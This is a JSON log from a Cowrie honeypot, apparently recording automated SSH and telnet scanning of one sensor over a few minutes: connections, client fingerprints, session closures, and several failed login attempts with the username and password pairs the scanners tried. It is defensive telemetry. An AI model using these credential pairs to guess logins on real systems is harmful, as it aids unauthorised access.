{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:34.345446Z","src_ip":"81.70.224.28","session":"58e2cf17b7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:34.349628Z","src_ip":"81.70.224.28","session":"58e2cf17b7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123456","message":"login attempt [root/asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:35.854208Z","src_ip":"81.70.224.28","session":"58e2cf17b7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:37.089240Z","src_ip":"81.70.224.28","session":"58e2cf17b7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":43842,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d764fc41da9","protocol":"telnet","message":"New connection: 50.62.181.92:43842 (159.203.135.109:23) [session: 0d764fc41da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:45.180203Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":17595,"dst_ip":"159.203.135.109","dst_port":22,"session":"792dc7bc9c49","protocol":"ssh","message":"New connection: 223.197.186.7:17595 (159.203.135.109:22) [session: 792dc7bc9c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:56.106156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:56.111455Z","src_ip":"223.197.186.7","session":"792dc7bc9c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:56.328179Z","src_ip":"223.197.186.7","session":"792dc7bc9c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ty","password":"ty","message":"login attempt [ty/ty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:57.225599Z","src_ip":"223.197.186.7","session":"792dc7bc9c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:58.438716Z","src_ip":"223.197.186.7","session":"792dc7bc9c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88752245903015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:16.067567Z","src_ip":"50.62.181.92","session":"0d764fc41da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45380,"dst_ip":"159.203.135.109","dst_port":23,"session":"43638a256df7","protocol":"telnet","message":"New connection: 69.4.83.194:45380 (159.203.135.109:23) [session: 43638a256df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:23.653614Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":38604,"dst_ip":"159.203.135.109","dst_port":22,"session":"940b0ce0a413","protocol":"ssh","message":"New connection: 62.133.63.178:38604 (159.203.135.109:22) [session: 940b0ce0a413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:25.772461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:25.778146Z","src_ip":"62.133.63.178","session":"940b0ce0a413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:25.899477Z","src_ip":"62.133.63.178","session":"940b0ce0a413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motherlode1","message":"login attempt [root/motherlode1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:26.260870Z","src_ip":"62.133.63.178","session":"940b0ce0a413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:27.386891Z","src_ip":"62.133.63.178","session":"940b0ce0a413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":48730,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a7c69145e2","protocol":"ssh","message":"New connection: 81.70.224.28:48730 (159.203.135.109:22) [session: 64a7c69145e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:33.489827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:33.506587Z","src_ip":"81.70.224.28","session":"64a7c69145e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:41.495551Z","src_ip":"81.70.224.28","session":"64a7c69145e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:41.503544Z","src_ip":"81.70.224.28","session":"64a7c69145e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.00151228904724,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:23:57.655003Z","src_ip":"69.4.83.194","session":"43638a256df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":47114,"dst_ip":"159.203.135.109","dst_port":22,"session":"04f06274d432","protocol":"ssh","message":"New connection: 171.244.37.103:47114 (159.203.135.109:22) [session: 04f06274d432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:13.668512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:13.673582Z","src_ip":"171.244.37.103","session":"04f06274d432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:13.919322Z","src_ip":"171.244.37.103","session":"04f06274d432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab12345678","message":"login attempt [root/Ab12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:14.926248Z","src_ip":"171.244.37.103","session":"04f06274d432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:16.173927Z","src_ip":"171.244.37.103","session":"04f06274d432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":52936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5cba4fc943e","protocol":"telnet","message":"New connection: 50.62.181.92:52936 (159.203.135.109:23) [session: a5cba4fc943e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:21.269620Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":46922,"dst_ip":"159.203.135.109","dst_port":22,"session":"d05f683bc998","protocol":"ssh","message":"New connection: 81.70.224.28:46922 (159.203.135.109:22) [session: d05f683bc998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:27.099567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:29.161569Z","src_ip":"81.70.224.28","session":"d05f683bc998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:29.165251Z","src_ip":"81.70.224.28","session":"d05f683bc998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:30.084004Z","src_ip":"81.70.224.28","session":"d05f683bc998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:31.318416Z","src_ip":"81.70.224.28","session":"d05f683bc998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50e17b8d62d","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: d50e17b8d62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:40.896544Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:40.991283Z","src_ip":"64.89.160.135","session":"d50e17b8d62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":58829,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ed3cc6e9ed8","protocol":"ssh","message":"New connection: 146.70.245.157:58829 (159.203.135.109:22) [session: 9ed3cc6e9ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:51.591021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:51.595982Z","src_ip":"146.70.245.157","session":"9ed3cc6e9ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:51.902317Z","src_ip":"146.70.245.157","session":"9ed3cc6e9ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":52931,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffeeac0c772f","protocol":"ssh","message":"New connection: 223.197.186.7:52931 (159.203.135.109:22) [session: ffeeac0c772f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:52.113868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:52.121241Z","src_ip":"223.197.186.7","session":"ffeeac0c772f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.865002870559692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:52.134481Z","src_ip":"50.62.181.92","session":"a5cba4fc943e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@1234","message":"login attempt [root/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:52.315067Z","src_ip":"146.70.245.157","session":"9ed3cc6e9ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:52.355555Z","src_ip":"223.197.186.7","session":"ffeeac0c772f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":46339,"dst_ip":"159.203.135.109","dst_port":22,"session":"7412eac47f72","protocol":"ssh","message":"New connection: 20.193.141.133:46339 (159.203.135.109:22) [session: 7412eac47f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.085334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.091731Z","src_ip":"20.193.141.133","session":"7412eac47f72","protocol":"ssh"}
